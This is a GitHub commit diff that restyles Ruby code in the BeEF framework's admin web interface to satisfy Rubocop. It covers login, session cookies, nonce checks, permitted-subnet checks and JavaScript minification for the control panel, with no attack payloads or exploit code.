Extensions: Resolve many Rubocop violations (#2279)

Extensions: Resolve many Rubocop violations
This commit is contained in:
bcoles
2022-01-22 22:37:50 +11:00
committed by GitHub
94 changed files with 4874 additions and 5138 deletions

View File

@@ -4,146 +4,149 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module API
module Extension
module AdminUI
module API
#
# We use this module to register all the http handler for the Administrator UI
#
module Handler
require 'uglifier'
#
# We use this module to register all the http handler for the Administrator UI
#
module Handler
require 'uglifier'
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
def self.evaluate_and_minify(content, params, name)
erubis = Erubis::FastEruby.new(content)
evaluated = erubis.evaluate(params)
def self.evaluate_and_minify(content, params, name)
erubis = Erubis::FastEruby.new(content)
evaluated = erubis.evaluate(params)
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
begin
opts = {
output: {
comments: :none
},
compress: {
dead_code: true
},
harmony: true
}
minified = Uglifier.compile(evaluated, opts)
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
rescue StandardError
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
minified = evaluated
end
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+')
File.write(write_to, minified)
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
begin
opts = {
:output => {
:comments => :none
},
:compress => {
:dead_code => true,
},
:harmony => true
}
minified = Uglifier.compile(evaluated, opts)
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
rescue
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
minified = evaluated
File.path write_to
rescue StandardError => e
print_error "[AdminUI] Error: #{e.message}"
print_error e.backtrace
end
def self.build_javascript_ui(beef_server)
# NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w[
esapi/Class.create.js
esapi/jquery-3.3.1.min.js
esapi/jquery-encoder-0.1.0.js
]
ux = %w[
ui/common/beef_common.js
ux/PagingStore.js
ux/StatusBar.js
ux/TabCloseMenu.js
]
panel = %w[
ui/panel/common.js
ui/panel/PanelStatusBar.js
ui/panel/tabs/ZombieTabDetails.js
ui/panel/tabs/ZombieTabLogs.js
ui/panel/tabs/ZombieTabCommands.js
ui/panel/tabs/ZombieTabRider.js
ui/panel/tabs/ZombieTabXssRays.js
wterm/wterm.jquery.js
ui/panel/tabs/ZombieTabIpec.js
ui/panel/tabs/ZombieTabAutorun.js
ui/panel/PanelViewer.js
ui/panel/LogsDataGrid.js
ui/panel/BrowserDetailsDataGrid.js
ui/panel/ZombieDataGrid.js
ui/panel/MainPanel.js
ui/panel/ZombieTab.js
ui/panel/ZombieTabs.js
ui/panel/zombiesTreeList.js
ui/panel/ZombiesMgr.js
ui/panel/tabs/ZombieTabNetwork.js
ui/panel/tabs/ZombieTabRTC.js
ui/panel/Logout.js
ui/panel/WelcomeTab.js
ui/panel/ModuleSearching.js
]
global_js = esapi + ux + panel
js_files = ''
global_js.each do |file|
js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n")
end
config = BeEF::Core::Configuration.instance
bp = config.get 'beef.extension.admin_ui.base_path'
# if more dynamic variables are needed in JavaScript files
# add them here in the following Hash
params = {
'base_path' => bp
}
# process all JavaScript files, evaluating them with Erubis
print_debug '[AdminUI] Initializing admin panel ...'
web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all')
auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
end
#
# This function gets called automatically by the server.
#
def self.mount_handler(beef_server)
config = BeEF::Core::Configuration.instance
# Web UI base path, like http://beef_domain/<bp>/panel
bp = config.get 'beef.extension.admin_ui.base_path'
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].sort.each do |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
end
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
media_dir = "#{File.dirname(__FILE__)}/../media/"
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
# If we're not imitating a web server, mount the favicon to /favicon.ico
unless config.get('beef.http.web_server_imitation.enable')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}",
'/favicon.ico',
'ico'
)
end
build_javascript_ui beef_server
end
end
end
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", "w+")
File.open(write_to, 'w') { |file| file.write(minified) }
File.path write_to
rescue => e
print_error "[AdminUI] Error: #{e.message}"
print_error e.backtrace
end
def self.build_javascript_ui(beef_server)
#NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w(
esapi/Class.create.js
esapi/jquery-3.3.1.min.js
esapi/jquery-encoder-0.1.0.js)
ux = %w(
ui/common/beef_common.js
ux/PagingStore.js
ux/StatusBar.js
ux/TabCloseMenu.js)
panel = %w(
ui/panel/common.js
ui/panel/PanelStatusBar.js
ui/panel/tabs/ZombieTabDetails.js
ui/panel/tabs/ZombieTabLogs.js
ui/panel/tabs/ZombieTabCommands.js
ui/panel/tabs/ZombieTabRider.js
ui/panel/tabs/ZombieTabXssRays.js
wterm/wterm.jquery.js
ui/panel/tabs/ZombieTabIpec.js
ui/panel/tabs/ZombieTabAutorun.js
ui/panel/PanelViewer.js
ui/panel/LogsDataGrid.js
ui/panel/BrowserDetailsDataGrid.js
ui/panel/ZombieDataGrid.js
ui/panel/MainPanel.js
ui/panel/ZombieTab.js
ui/panel/ZombieTabs.js
ui/panel/zombiesTreeList.js
ui/panel/ZombiesMgr.js
ui/panel/tabs/ZombieTabNetwork.js
ui/panel/tabs/ZombieTabRTC.js
ui/panel/Logout.js
ui/panel/WelcomeTab.js
ui/panel/ModuleSearching.js)
global_js = esapi + ux + panel
js_files = ''
global_js.each do |file|
js_files << File.read(File.dirname(__FILE__)+'/../media/javascript/'+file) + "\n\n"
end
config = BeEF::Core::Configuration.instance
bp = config.get "beef.extension.admin_ui.base_path"
# if more dynamic variables are needed in JavaScript files
# add them here in the following Hash
params = {
'base_path' => bp
}
# process all JavaScript files, evaluating them with Erubis
print_debug "[AdminUI] Initializing admin panel ..."
web_ui_all = self.evaluate_and_minify(js_files, params, 'web_ui_all')
auth_js_file = File.read(File.dirname(__FILE__)+'/../media/javascript/ui/authentication.js') + "\n\n"
web_ui_auth = self.evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
end
#
# This function gets called automatically by the server.
#
def self.mount_handler(beef_server)
config = BeEF::Core::Configuration.instance
# Web UI base path, like http://beef_domain/<bp>/panel
bp = config.get "beef.extension.admin_ui.base_path"
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each do |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
end
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
media_dir = File.dirname(__FILE__)+'/../media/'
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
# If we're not imitating a web server, mount the favicon to /favicon.ico
if !config.get("beef.http.web_server_imitation.enable")
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media/images/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
'/favicon.ico',
'ico')
end
self.build_javascript_ui beef_server
end
end
end
end
end
end

View File

@@ -4,178 +4,179 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
class HttpController
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
C = BeEF::Core::Models::Command
CM = BeEF::Core::Models::CommandModule
Z = BeEF::Core::Models::HookedBrowser
#
# Class constructor. Takes data from the child class and populates itself with it.
#
def initialize(data = {})
@erubis = nil
@status = 200 if data['status'].nil?
@session = BeEF::Extension::AdminUI::Session.instance
module Extension
module AdminUI
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
class HttpController
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
@config = BeEF::Core::Configuration.instance
@bp = @config.get "beef.extension.admin_ui.base_path"
C = BeEF::Core::Models::Command
CM = BeEF::Core::Models::CommandModule
Z = BeEF::Core::Models::HookedBrowser
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
#
# Class constructor. Takes data from the child class and populates itself with it.
#
def initialize(data = {})
@erubis = nil
@status = 200 if data['status'].nil?
@session = BeEF::Extension::AdminUI::Session.instance
if data['paths'].nil? and self.methods.include? "index"
@paths = {'index' => '/'}
else
@paths = data['paths']
end
end
@config = BeEF::Core::Configuration.instance
@bp = @config.get 'beef.extension.admin_ui.base_path'
#
# Authentication check. Confirm the request to access the UI comes from a permitted IP address
#
def authenticate_request(ip)
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
if !auth.permitted_source?(ip)
if @config.get("beef.http.web_server_imitation.enable")
type = @config.get("beef.http.web_server_imitation.type")
case type
when "apache"
@body = BeEF::Core::Router::APACHE_BODY
@status = 404
@headers = BeEF::Core::Router::APACHE_HEADER
return false
when "iis"
@body = BeEF::Core::Router::IIS_BODY
@status = 404
@headers = BeEF::Core::Router::IIS_HEADER
return false
when "nginx"
@body = BeEF::Core::Router::APACHE_BODY
@status = 404
@headers = BeEF::Core::Router::APACHE_HEADER
return false
else
@body = "Not Found."
@status = 404
@headers = {"Content-Type" => "text/html"}
return false
end
else
@body = "Not Found."
@status = 404
@headers = {"Content-Type" => "text/html"}
return false
@headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil?
# @todo what if paths is nil and methods does not include 'index' ?
@paths = if data['paths'].nil? and methods.include? 'index'
{ 'index' => '/' }
else
data['paths']
end
end
#
# Authentication check. Confirm the request to access the UI comes from a permitted IP address
#
def authenticate_request(ip)
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
return true if auth.permitted_source?(ip)
unless @config.get('beef.http.web_server_imitation.enable')
@body = 'Not Found.'
@status = 404
@headers = { 'Content-Type' => 'text/html' }
return false
end
type = @config.get('beef.http.web_server_imitation.type')
case type
when 'apache'
@body = BeEF::Core::Router::APACHE_BODY
@status = 404
@headers = BeEF::Core::Router::APACHE_HEADER
when 'iis'
@body = BeEF::Core::Router::IIS_BODY
@status = 404
@headers = BeEF::Core::Router::IIS_HEADER
when 'nginx'
@body = BeEF::Core::Router::APACHE_BODY
@status = 404
@headers = BeEF::Core::Router::APACHE_HEADER
else
@body = 'Not Found.'
@status = 404
@headers = { 'Content-Type' => 'text/html' }
end
false
rescue StandardError
print_error "authenticate_request failed: #{e.message}"
false
end
#
# Check if reverse proxy has been enabled and return the correct client IP address
#
def get_ip(request)
if @config.get('beef.http.allow_reverse_proxy')
request.ip # Get client x-forwarded-for ip address
else
request.get_header('REMOTE_ADDR') # Get client remote ip address
end
end
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
def run(request, response)
@request = request
@params = request.params
# Web UI base path, like http://beef_domain/<bp>/panel
auth_url = "#{@bp}/authentication"
# If access to the UI is not permitted for the request IP address return a 404
return unless authenticate_request(get_ip(@request))
# test if session is unauth'd and whether the auth functionality is requested
if !@session.valid_session?(@request) and !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication)
@body = ''
@status = 302
@headers = { 'Location' => auth_url }
return
end
# get the mapped function (if it exists) from the derived class
path = request.path_info
unless BeEF::Filters.is_valid_path_info?(path)
print_error "[Admin UI] Path is not valid: #{path}"
return
end
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
if function.nil?
print_error "[Admin UI] Path does not exist: #{path}"
return
end
# call the relevant mapped function
function.call
# build the template filename and apply it - if the file exists
function_name = function.name # used for filename
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exist? template_ui # load the template file
@body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response
# set appropriate content-type 'application/json' for .json files
@headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path =~ /\.json$/
# set content type
if @headers['Content-Type'].nil?
@headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages
end
rescue StandardError => e
print_error "Error handling HTTP request: #{e.message}"
print_error e.backtrace
end
# Constructs a html script tag (from media/javascript directory)
def script_tag(filename)
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html script tag (from media/javascript-min directory)
def script_tag_min(filename)
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html stylesheet tag
def stylesheet_tag(filename)
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
end
# Constructs a hidden html nonce tag
def nonce_tag
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
end
def base_path
@bp.to_s
end
private
@eruby
# Unescapes a URL-encoded string.
def unescape(s)
s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') }
end
else
return true
end
end
#
# Check if reverse proxy has been enabled and return the correct client IP address
#
def get_ip(request)
if !@config.get("beef.http.allow_reverse_proxy")
ua_ip = request.get_header('REMOTE_ADDR') # Get client remote ip address
else
ua_ip = request.ip # Get client x-forwarded-for ip address
end
ua_ip
end
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
def run(request, response)
@request = request
@params = request.params
# Web UI base path, like http://beef_domain/<bp>/panel
auth_url = "#{@bp}/authentication"
# If access to the UI is not permitted for the request IP address return a 404
if !authenticate_request(get_ip(@request))
return
end
# test if session is unauth'd and whether the auth functionality is requested
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
@body = ''
@status = 302
@headers = {'Location' => auth_url}
return
end
# get the mapped function (if it exists) from the derived class
path = request.path_info
(print_error "path is invalid";return) if not BeEF::Filters.is_valid_path_info?(path)
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
(print_error "[Admin UI] Path does not exist: #{path}";return) if function.nil?
# call the relevant mapped function
function.call
# build the template filename and apply it - if the file exists
function_name = function.name # used for filename
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
# set appropriate content-type 'application/json' for .json files
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /\.json$/
# set content type
if @headers['Content-Type'].nil?
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
end
rescue => e
print_error "Error handling HTTP request: #{e.message}"
print_error e.backtrace
end
# Constructs a html script tag (from media/javascript directory)
def script_tag(filename)
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html script tag (from media/javascript-min directory)
def script_tag_min(filename)
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html stylesheet tag
def stylesheet_tag(filename)
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
end
# Constructs a hidden html nonce tag
def nonce_tag
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
end
def base_path
@bp.to_s
end
private
@eruby
# Unescapes a URL-encoded string.
def unescape(s)
s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')}
end
end
end
end
end

View File

@@ -4,112 +4,108 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Extension
module AdminUI
#
# The session for BeEF UI.
#
class Session
include Singleton
#
# The session for BeEF UI.
#
class Session
include Singleton
attr_reader :ip, :id, :nonce, :auth_timestamp
def initialize
set_logged_out
@auth_timestamp = Time.new
end
attr_reader :ip, :id, :nonce, :auth_timestamp
#
# set the session logged in
#
def set_logged_in(ip)
@id = BeEF::Core::Crypto::secure_token
@nonce = BeEF::Core::Crypto::secure_token
@ip = ip
end
#
# set the session logged out
#
def set_logged_out
@id = nil
@nonce = nil
@ip = nil
end
def initialize
set_logged_out
@auth_timestamp = Time.new
end
#
# set teh auth_timestamp
#
def set_auth_timestamp(time)
@auth_timestamp = time
end
#
# set the session logged in
#
def set_logged_in(ip)
@id = BeEF::Core::Crypto.secure_token
@nonce = BeEF::Core::Crypto.secure_token
@ip = ip
end
#
# return the session id
#
def get_id
@id
end
#
# return the nonce
#
def get_nonce
@nonce
end
#
# set the session logged out
#
def set_logged_out
@id = nil
@nonce = nil
@ip = nil
end
#
# return the auth_timestamp
#
def get_auth_timestamp
@auth_timestamp
end
#
# set teh auth_timestamp
#
def set_auth_timestamp(time)
@auth_timestamp = time
end
#
# Check if nonce valid
#
def valid_nonce?(request)
#
# return the session id
#
def get_id
@id
end
# check if a valid session
return false if not valid_session?(request)
return false if @nonce.nil?
return false if not request.post?
#
# return the nonce
#
def get_nonce
@nonce
end
# get nonce from request
request_nonce = request['nonce']
return false if request_nonce.nil?
# verify nonce
request_nonce.eql? @nonce
end
#
# return the auth_timestamp
#
def get_auth_timestamp
@auth_timestamp
end
#
# Check if a session valid
#
def valid_session?(request)
# check if a valid session exists
return false if @id.nil?
return false if @ip.nil?
#
# Check if nonce valid
#
def valid_nonce?(request)
# check if a valid session
return false unless valid_session?(request)
return false if @nonce.nil?
return false unless request.post?
# check ip address matches
return false if not @ip.to_s.eql? request.ip
# get nonce from request
request_nonce = request['nonce']
return false if request_nonce.nil?
# get session cookie name from config
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
# verify nonce
request_nonce.eql? @nonce
end
# check session id matches
request.cookies.each{|cookie|
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
}
request
# not a valid session
false
#
# Check if a session valid
#
def valid_session?(request)
# check if a valid session exists
return false if @id.nil?
return false if @ip.nil?
# check ip address matches
return false unless @ip.to_s.eql? request.ip
# get session cookie name from config
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
# check session id matches
request.cookies.each do |cookie|
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
end
request
# not a valid session
false
end
end
end
end
end
end
end
end

View File

@@ -4,22 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Constants
module Icons
VERIFIED_NOT_WORKING_IMG = 'red.png'
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
VERIFIED_WORKING_IMG = 'green.png'
VERIFIED_UNKNOWN_IMG = 'grey.png'
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
module Extension
module AdminUI
module Constants
module Icons
VERIFIED_NOT_WORKING_IMG = 'red.png'
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
VERIFIED_WORKING_IMG = 'green.png'
VERIFIED_UNKNOWN_IMG = 'grey.png'
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
end
end
end
end
end
end
end
end

View File

@@ -4,129 +4,129 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Controllers
module Extension
module AdminUI
module Controllers
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::Extension::AdminUI::HttpController
#
# Constructor
#
def initialize
super({
'paths' => {
'/' => method(:index),
'/login' => method(:login),
'/logout' => method(:logout)
}
})
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::Extension::AdminUI::HttpController
@session = BeEF::Extension::AdminUI::Session.instance
end
#
# Constructor
#
def initialize
super({
'paths' => {
'/' => method(:index),
'/login' => method(:login),
'/logout' => method(:logout)
}
})
# Function managing the index web page
def index
@headers['Content-Type'] = 'text/html; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
end
@session = BeEF::Extension::AdminUI::Session.instance
end
#
# Function managing the login
#
def login
username = @params['username-cfrm'] || ''
password = @params['password-cfrm'] || ''
config = BeEF::Core::Configuration.instance
@headers['Content-Type'] = 'application/json; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
ua_ip = if config.get('beef.http.allow_reverse_proxy')
@request.ip # get client ip address
else
@request.get_header('REMOTE_ADDR')
end
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permitted to authenticate
unless permitted_source?(ua_ip)
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
return
end
# Function managing the index web page
def index
@headers['Content-Type']='text/html; charset=UTF-8'
@headers['X-Frame-Options']='sameorigin'
end
# check if under brute force attack
return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
@session.get_auth_timestamp,
->(time) { @session.set_auth_timestamp(time) })
#
# Function managing the login
#
def login
# check username and password
unless username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd')
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
return
end
username = @params['username-cfrm'] || ''
password = @params['password-cfrm'] || ''
config = BeEF::Core::Configuration.instance
@headers['Content-Type']='application/json; charset=UTF-8'
@headers['X-Frame-Options']='sameorigin'
if !config.get("beef.http.allow_reverse_proxy")
ua_ip = @request.get_header('REMOTE_ADDR')
else
ua_ip = @request.ip # get client ip address
# establish an authenticated session
# set up session and set it logged in
@session.set_logged_in(ua_ip)
# create session cookie
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true })
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
@body = '{ success : true }'
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
unless @session.valid_nonce?(@request)
(print_error 'invalid nonce'
return @body = '{ success : true }')
end
unless @session.valid_session?(@request)
(print_error 'invalid session'
return @body = '{ success : true }')
end
@headers['Content-Type'] = 'application/json; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
# set the session to be log out
@session.set_logged_out
# clean up UA and expire the session cookie
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now })
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
@body = '{ success : true }'
end
#
# Check the UI browser source IP is within the permitted subnet
#
def permitted_source?(ip)
# test if supplied IP address is valid
return false unless BeEF::Filters.is_valid_ip?(ip)
# get permitted subnets
permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')
return false if permitted_ui_subnet.nil?
return false if permitted_ui_subnet.empty?
# test if ip within subnets
permitted_ui_subnet.each do |subnet|
return true if IPAddr.new(subnet).include?(ip)
end
false
end
end
end
end
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permitted to authenticate
if not permitted_source?(ua_ip)
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
return
end
# check if under brute force attack
return if not BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
@session.get_auth_timestamp(),
lambda { |time| @session.set_auth_timestamp(time)})
# check username and password
if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') )
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
return
end
# establish an authenticated session
# set up session and set it logged in
@session.set_logged_in(ua_ip)
# create session cookie
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => "/", :httponly => true})
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
@body = "{ success : true }"
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
(print_error "invalid nonce";return @body = "{ success : true }") if not @session.valid_nonce?(@request)
(print_error "invalid session";return @body = "{ success : true }") if not @session.valid_session?(@request)
@headers['Content-Type']='application/json; charset=UTF-8'
@headers['X-Frame-Options']='sameorigin'
# set the session to be log out
@session.set_logged_out
# clean up UA and expire the session cookie
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => "", :path => "/", :httponly => true, expires: Time.now})
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
@body = "{ success : true }"
end
#
# Check the UI browser source IP is within the permitted subnet
#
def permitted_source?(ip)
# test if supplied IP address is valid
return false unless BeEF::Filters::is_valid_ip?(ip)
# get permitted subnets
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
return false if permitted_ui_subnet.nil?
return false if permitted_ui_subnet.empty?
# test if ip within subnets
permitted_ui_subnet.each do |subnet|
return true if IPAddr.new(subnet).include?(ip)
end
false
end
end
end
end
end
end

File diff suppressed because it is too large Load Diff

View File

@@ -8,7 +8,6 @@ module BeEF
module AdminUI
module Controllers
class Panel < BeEF::Extension::AdminUI::HttpController
def initialize
super({
'paths' => {

View File

@@ -4,15 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
extend BeEF::API::Extension
@full_name = 'Administration Web UI'
@short_name = 'admin_ui'
@description = 'Command and control web interface'
end
end
module Extension
module AdminUI
extend BeEF::API::Extension
@full_name = 'Administration Web UI'
@short_name = 'admin_ui'
@description = 'Command and control web interface'
end
end
end
# Constants

View File

@@ -8,44 +8,37 @@
# controllers into the framework.
#
module BeEF
module Extension
module AdminUI
module Handlers
class UI
module Extension
module AdminUI
module Handlers
class UI
#
# Constructor
#
def initialize(klass)
# @todo Determine why this class is calling super?
# super
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
end
#
# Constructor
#
def initialize(klass)
# @todo Determine why this class is calling super?
#super
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
def call(env)
@request = Rack::Request.new(env)
@response = Rack::Response.new(env)
controller = @klass.new
controller.run(@request, @response)
@response = Rack::Response.new(
body = [controller.body],
status = controller.status,
header = controller.headers
)
end
@request
@response
end
end
end
def call(env)
@request = Rack::Request.new(env)
@response = Rack::Response.new(env)
controller = @klass.new
controller.run(@request, @response)
@response = Rack::Response.new(
body = [controller.body],
status = controller.status,
header = controller.headers
)
end
private
@request
@response
end
end
end
end
end

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Autoloader
end
end
module Extension
module Autoloader
end
end
end
require 'extensions/autoloader/model'

View File

@@ -4,15 +4,11 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
class Autoloading < BeEF::Core::Model
belongs_to :command
end
end
end
module Core
module Models
class Autoloading < BeEF::Core::Model
belongs_to :command
end
end
end
end

View File

@@ -4,30 +4,28 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module Extension
module Console
extend BeEF::API::Extension
extend BeEF::API::Extension
#
# Sets the information for that extension.
#
@short_name = @full_name = 'console'
@description = 'console environment to manage beef'
#
# Sets the information for that extension.
#
@short_name = @full_name = 'console'
@description = 'console environment to manage beef'
module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
def self.post_load
if BeEF::Core::Configuration.instance.get("beef.extension.console.enable")
print_error "The console extension is currently unsupported."
print_more "See issue #1090 - https://github.com/beefproject/beef/issues/1090"
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
def self.post_load
return unless BeEF::Core::Configuration.instance.get('beef.extension.console.enable')
print_error 'The console extension is currently unsupported.'
print_more 'See issue #1090 - https://github.com/beefproject/beef/issues/1090'
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
end
end
end
end
end
end
end

View File

@@ -4,24 +4,23 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module Extension
module Console
module CommandDispatcher
